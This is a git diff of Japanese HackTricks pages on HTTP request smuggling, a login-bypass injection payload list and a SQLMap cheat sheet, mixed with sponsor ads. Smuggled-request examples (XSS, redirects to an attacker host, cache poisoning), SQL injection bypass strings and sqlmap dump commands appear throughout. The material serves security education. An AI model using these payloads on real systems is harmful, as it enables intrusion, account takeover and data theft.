このシナリオでは、**commentパラメータ**は、公開アクセス可能なページの投稿のコメントセクション内の内容を保存することを目的としています。その結果、次のリクエストの内容はコメントとして表示されます。 このシナリオでは、**commentパラメータ**は、公開アクセス可能なページの投稿のコメントセクション内の内容を保存することを目的としています。その結果、次のリクエストの内容はコメントとして表示されます。
しかし、この技術には制限があります。一般的に、これはスムーズなリクエストで使用されるパラメータ区切り文字までのデータしかキャプチャしません。URLエンコードされたフォーム送信の場合、この区切り文字は`&`文字です。これは、被害者ユーザーのリクエストからキャプチャされた内容が最初の`&`で停止することを意味し、これはクエリ文字列の一部である可能性さえあります。 しかし、この技術には制限があります。一般的に、これはスムグルされたリクエストで使用されるパラメータ区切り文字までのデータしかキャプチャしません。URLエンコードされたフォーム送信の場合、この区切り文字は`&`文字です。これは、被害者ユーザーのリクエストからキャプチャされた内容が最初の`&`で停止することを意味し、これはクエリ文字列の一部である可能性さえあります。
さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。その場合、リクエストは`search=\r\n0`で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。 さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。その場合、リクエストは`search=\r\n0`で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
### HTTPリクエストスムージングを使用して反射型XSSを悪用する ### HTTPリクエストスムグリングを使用して反射型XSSを悪用する
HTTPリクエストスムージングは、**反射型XSS**に脆弱なウェブページを悪用するために利用でき、重要な利点を提供します: HTTPリクエストスムグリングは、**反射型XSS**に脆弱なウェブページを悪用するために利用でき、重要な利点を提供します:
* 対象ユーザーとの**対話は不要**です。 * 対象ユーザーとの**対話は不要**です。
* HTTPリクエストヘッダーのような**通常は到達不可能**リクエストの部分でXSSを悪用することができます。 * HTTPリクエストヘッダーのような**通常は到達不可能**リクエストの部分でXSSを悪用することができます。
ウェブサイトがUser-Agentヘッダーを介して反射型XSSに対して脆弱な場合、以下のペイロードはこの脆弱性を悪用する方法を示しています ウェブサイトがUser-Agentヘッダーを介して反射型XSSに対して脆弱な場合、以下のペイロードはこの脆弱性を悪用する方法を示しています
``` ```
@ -418,25 +426,25 @@ A=
``` ```
このペイロードは、脆弱性を悪用するために構成されています: このペイロードは、脆弱性を悪用するために構成されています:
1. 一見典型的な`POST`リクエストを開始し、スムーギングの開始を示す`Transfer-Encoding: chunked`ヘッダーを含めます。 1. `Transfer-Encoding: chunked` ヘッダーを持つ、見た目には典型的な `POST` リクエストを開始し、スムーギングの開始を示します。
2. 次に、チャンク化されたメッセージボディの終わりを示す`0`が続きます。 2. 次に、チャンクメッセージボディの終わりを示す `0` が続きます。
3. その後、スムーグルされた`GET`リクエストが導入され、`User-Agent`ヘッダーにスクリプト`<script>alert(1)</script>`が注入され、サーバーがこの後続のリクエストを処理する際にXSSがトリガーされます。 3. その後、スムーグルされた `GET` リクエストが導入され、`User-Agent` ヘッダーにスクリプト `<script>alert(1)</script>` が注入され、サーバーがこの後続のリクエストを処理する際に XSS がトリガーされます。
スムーギングを通じて`User-Agent`を操作することで、ペイロードは通常のリクエスト制約を回避し、標準的ではないが効果的な方法で反射型XSS脆弱性を悪用します。 スムーギングを通じて `User-Agent` を操作することで、ペイロードは通常のリクエスト制約を回避し、非標準だが効果的な方法で反射型 XSS 脆弱性を悪用します。
#### HTTP/0.9 #### HTTP/0.9
{% hint style="danger" %} {% hint style="danger" %}
ユーザーコンテンツが**`Content-type`**が**`text/plain`**のレスポンスに反映される場合、XSSの実行が防止されます。サーバーが**HTTP/0.9をサポートしている場合、これを回避できる可能性があります** ユーザーコンテンツが **`Content-type`** **`text/plain`** のレスポンスに反映される場合、XSS の実行が防止されます。サーバーが **HTTP/0.9** をサポートしている場合、これを回避できる可能性があります!
{% endhint %} {% endhint %}
HTTP/0.9は以前のバージョンで、1.0の前にあり、**GET**動詞のみを使用し、**ヘッダー**ではなくボディのみで応答します。 HTTP/0.9 バージョンは 1.0 の前のもので、**GET** 動詞のみを使用し、**ヘッダー** ではなくボディのみで応答します。
[**この書き込み**](https://mizu.re/post/twisty-python)では、リクエストスムーギングと**ユーザーの入力に応じて応答する脆弱なエンドポイント**を使用してHTTP/0.9でリクエストをスムーグルするために悪用されました。レスポンスに反映されるパラメータには**偽のHTTP/1.1レスポンス(ヘッダーとボディを含む)**が含まれていたため、レスポンスには`Content-Type`が`text/html`の有効な実行可能JSコードが含まれます。 [**この書き込み**](https://mizu.re/post/twisty-python) では、リクエストスムーギングと **ユーザーの入力に応じて応答する脆弱なエンドポイント** を利用して、HTTP/0.9 でリクエストをスムーグルしました。レスポンスに反映されるパラメータには **偽の HTTP/1.1 レスポンス(ヘッダーとボディを含む)** が含まれており、レスポンスには `Content-Type``text/html` の有効な実行可能な JS コードが含まれます。
### HTTPリクエストスムーギングを使用したオンサイトリダイレクトの悪用 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a> ### HTTP リクエストスムーギングによるオンサイトリダイレクトの悪用 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
アプリケーションは、リダイレクトURLの`Host`ヘッダーからホスト名を使用して、あるURLから別のURLにリダイレクトすることがよくあります。これは、ApacheやIISのようなウェブサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダーをリクエストすると、スラッシュを含めるためにリダイレクトされます アプリケーションは、リダイレクト URL `Host` ヘッダーからホスト名を使用して、ある URL から別の URL にリダイレクトすることがよくあります。これは、Apache IIS のようなウェブサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダーをリクエストすると、スラッシュを含めるためにリダイレクトされます:
``` ```
GET /home HTTP/1.1 GET /home HTTP/1.1
Host: normal-website.com Host: normal-website.com
@ -446,7 +454,7 @@ Host: normal-website.com
HTTP/1.1 301 Moved Permanently HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/ Location: https://normal-website.com/home/
``` ```
この無害に見える動作は、HTTPリクエストスムーングを使用してユーザーを外部サイトにリダイレクトするように操作できます。例えば: この無害に見える動作は、HTTPリクエストスムーングを使用してユーザーを外部サイトにリダイレクトするように操作できます。例えば:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable-website.com Host: vulnerable-website.com
@ -460,7 +468,7 @@ GET /home HTTP/1.1
Host: attacker-website.com Host: attacker-website.com
Foo: X Foo: X
``` ```
この密輸されたリクエストは、次に処理されるユーザーリクエストが攻撃者が制御するウェブサイトにリダイレクトされる原因となる可能性があります: このスムグルリクエストは、次に処理されるユーザーリクエストが攻撃者が制御するウェブサイトにリダイレクトされる原因となる可能性があります:
``` ```
GET /home HTTP/1.1 GET /home HTTP/1.1
Host: attacker-website.com Host: attacker-website.com
@ -472,17 +480,17 @@ Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/ Location: https://attacker-website.com/home/
``` ```
このシナリオでは、ユーザーのJavaScriptファイルのリクエストがハイジャックされます。攻撃者は、応答として悪意のあるJavaScriptを提供することで、ユーザーを危険にさらす可能性があります。 このシナリオでは、ユーザーのJavaScriptファイルのリクエストがハイジャックされます。攻撃者は、悪意のあるJavaScriptを応答として提供することで、ユーザーを危険にさらす可能性があります。
### HTTPリクエストスムージングを介したウェブキャッシュポイズニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> ### HTTPリクエストスムージングを介したウェブキャッシュポイズニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
ウェブキャッシュポイズニングは、**フロントエンドインフラストラクチャがコンテンツをキャッシュする**任意のコンポーネントがある場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、**キャッシュをポイズン**することが可能です。 ウェブキャッシュポイズニングは、**フロントエンドインフラストラクチャの任意のコンポーネントがコンテンツをキャッシュする**場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、**キャッシュをポイズン**することが可能です。
以前、サーバーの応答を変更して404エラーを返す方法を観察しました[基本的な例](./#basic-examples)を参照)。同様に、サーバーを騙して`/static/include.js`のリクエストに対して`/index.html`のコンテンツを提供させることも可能です。その結果、`/static/include.js`のコンテンツはキャッシュ内で`/index.html`のものに置き換えられ、ユーザーが`/static/include.js`にアクセスできなくなり、サービス拒否DoSにつながる可能性があります。 以前、サーバーの応答を変更して404エラーを返す方法を観察しました[基本的な例](./#basic-examples)を参照)。同様に、サーバーを騙して`/static/include.js`のリクエストに対して`/index.html`のコンテンツを提供させることも可能です。その結果、`/static/include.js`のコンテンツはキャッシュ内で`/index.html`のものに置き換えられ、ユーザーが`/static/include.js`にアクセスできなくなり、サービス拒否DoSにつながる可能性があります。
この技術は、**オープンリダイレクトの脆弱性**が発見された場合や、**オープンリダイレクトへのオンサイトリダイレクト**がある場合に特に強力になります。このような脆弱性を利用して、攻撃者の制御下にあるスクリプトで`/static/include.js`のキャッシュコンテンツを置き換えることができ、実質的にすべてのクライアントに対して広範なクロスサイトスクリプティングXSS攻撃を可能にします。 この技術は、**オープンリダイレクトの脆弱性**が発見された場合や、**オープンリダイレクトへのオンサイトリダイレクト**がある場合に特に強力になります。このような脆弱性を利用して、攻撃者の制御下にあるスクリプトで`/static/include.js`のキャッシュされたコンテンツを置き換えることができ、実質的にすべてのクライアントに対して広範なクロスサイトスクリプティングXSS攻撃を可能にします。
以下は、**キャッシュポイズニングとオープンリダイレクトへのオンサイトリダイレクトを組み合わせた悪用**の例です。目的は、攻撃者が制御するJavaScriptコードを提供するために`/static/include.js`のキャッシュコンテンツを変更することです: 以下は、**オープンリダイレクトへのオンサイトリダイレクトと組み合わせたキャッシュポイズニングの悪用**の例です。目的は、攻撃者が制御するJavaScriptコードを提供するために`/static/include.js`のキャッシュコンテンツを変更することです:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable.net Host: vulnerable.net
@ -524,11 +532,11 @@ x=1
`GET /private/messages HTTP/1.1`\ `GET /private/messages HTTP/1.1`\
`Foo: X` `Foo: X`
``` ```
このスムグルされたリクエストが静的コンテンツ(例:`/someimage.png`用のキャッシュエントリを汚染すると、被害者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。 このスムグルされたリクエストが静的コンテンツ(例:`/someimage.png`を対象としたキャッシュエントリを汚染すると、被害者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。
### HTTPリクエストスムグリングを利用したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> ### HTTPリクエストスムグリングを利用したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**この投稿**](https://portswigger.net/research/trace-desync-attack)では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用することが可能であると提案されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば: [**この投稿**](https://portswigger.net/research/trace-desync-attack)では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用して悪用できる可能性があると示唆されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば:
``` ```
TRACE / HTTP/1.1 TRACE / HTTP/1.1
Host: example.com Host: example.com
@ -545,7 +553,7 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script> XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx X-Forwarded-For: xxx.xxx.xxx.xxx
``` ```
この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストは、GETリクエストの**ヘッダー**のみで応答されます(その中に**`Content-Type`**が含まれます)。そして、**HEADの直後にTRACEリクエストをスムグル**ことで、**送信されたデータを反映させる**ことができます。\ この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストには、GETリクエストの**ヘッダー**のみが応答されます(その中には**`Content-Type`**も含まれます)。そして、**HEADの直後にTRACEリクエストをスムグル**ことで、**送信されたデータを反映させる**ことができます。\
HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させる**ことになります。\ HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させる**ことになります。\
この応答は接続上の次のリクエストに送信されるため、例えば**キャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。 この応答は接続上の次のリクエストに送信されるため、例えば**キャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。
@ -725,9 +733,17 @@ table.add(req)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack) * [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) * [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、練習する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -735,7 +751,7 @@ GCPハッキングを学び、練習する<img src="../../.gitbook/assets/grt
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -13,10 +13,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
このリストには、**XPath、LDAP、およびSQLインジェクションを介してログインをバイパスするためのペイロード**が含まれています(その順序で)。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する
このリストの使用方法は、**最初の200行をユーザー名とパスワードとして入力することです。** 次に、完全なリストを最初にユーザー名に、次にパスワード入力に入力し、いくつかのパスワード_Pass1234._またはいくつかの既知のユーザー名_admin_を入力します。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
このリストには**XPath、LDAP、SQLインジェクションを介してログインをバイパスするためのペイロード**が含まれています(その順序で)。
このリストの使用方法は、**最初の200行をユーザー名とパスワードとして入力することです。** 次に、完全なリストを最初にユーザー名に、次にパスワード入力に入れ、いくつかのパスワード_Pass1234._または既知のユーザー名_admin_を入力します。
``` ```
admin admin
password password
@ -823,6 +830,15 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2 %8C%A8%27)||1-- 2
%bf')||1-- 2 %bf')||1-- 2
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -833,7 +849,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,8 +1,8 @@
# SQLMap - チートシート # SQLMap - チートシート
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -10,14 +10,16 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンから報告までの機能を提供します。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -98,7 +100,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
``` ```
### Eval ### Eval
**Sqlmap** は、ペイロードを送信する前にいくつかの Python ワンライナーで処理するために `-e` または `--eval` を使用することを許可します。これにより、ペイロードを送信する前にカスタム方法で処理することが非常に簡単かつ迅速になります。次の例では、**flask cookie session** **は、送信する前に既知の秘密で flask によって署名されています**: **Sqlmap** は、ペイロードを送信する前にいくつかの Python ワンライナーで処理するために `-e` または `--eval` を使用することを許可します。これにより、送信する前にペイロードをカスタム方法で処理することが非常に簡単かつ迅速になります。次の例では、**flask cookie session** **は、送信する前に既知の秘密で flask によって署名されています**:
```bash ```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
``` ```
@ -149,15 +151,15 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
``` ```
### Tamper ### Tamper
**自分自身のタムパーをPythonで作成することができ、非常に簡単です。** タムパーの例は、[こちらの第二次インジェクションページ](second-order-injection-sqlmap.md)で見つけることができます。 **自分のタムパーをPythonで作成することができ、非常に簡単です。** タムパーの例は、[こちらの第二次インジェクションページ](second-order-injection-sqlmap.md)で見つけることができます。
```bash ```bash
--tamper=name_of_the_tamper --tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper
``` ```
| Tamper | Description | | Tamper | Description |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | アポストロフィ文字をそのUTF-8全角対応文字に置き換えます。 | | apostrophemask.py | アポストロフィ文字をそのUTF-8全幅の対応物に置き換えます。 |
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応文字に置き換えます。 | | apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応物に置き換えます。 |
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 | | appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 |
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 | | base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
| between.py | 大なり演算子('>'を「NOT BETWEEN 0 AND #」に置き換えます。 | | between.py | 大なり演算子('>'を「NOT BETWEEN 0 AND #」に置き換えます。 |
@ -170,33 +172,33 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません。"%u0022" | | charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません。"%u0022" |
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません。"\u0022" | | charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされたものは処理しません。"\u0022" |
| equaltolike.py | 演算子「=」のすべての出現を演算子「LIKE」に置き換えます。 | | equaltolike.py | 演算子「=」のすべての出現を演算子「LIKE」に置き換えます。 |
| escapequotes.py | スラッシュで引用符('と")をエスケープします。 | | escapequotes.py | クォート(' と ")をスラッシュでエスケープします。 |
| greatest.py | 大なり演算子('>'を「GREATEST」対応に置き換えます。 | | greatest.py | 大なり演算子('>'を「GREATEST」対応に置き換えます。 |
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 | | halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
| ifnull2ifisnull.py | 「IFNULL(A, B)」のようなインスタンスを「IF(ISNULL(A), B, A)」に置き換えます。 | | ifnull2ifisnull.py | 「IFNULL(A, B)」のようなインスタンスを「IF(ISNULL(A), B, A)」に置き換えます。 |
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 | | modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 | | modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 | | multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
| nonrecursivereplacement.py | 定義済みのSQLキーワードを置き換えに適した表現に置き換えます.replace("SELECT", "")フィルター)。 | | nonrecursivereplacement.py | 定義済みのSQLキーワードを置き換えに適した表現に置き換えます.replace("SELECT", "")フィルター)。 |
| percentage.py | 各文字の前にパーセント記号('%')を追加します。 | | percentage.py | 各文字の前にパーセント記号('%')を追加します。 |
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 | | overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 | | randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 | | randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
| securesphere.py | 特別に作成された文字列を追加します。 | | securesphere.py | 特別に作成された文字列を追加します。 |
| sp\_password.py | 自動的にDBMSログから隠すためにペイロードの末尾に「sp\_password」を追加します。 | | sp\_password.py | ペイロードの末尾に「sp\_password」を追加し、DBMSログから自動的に難読化します。 |
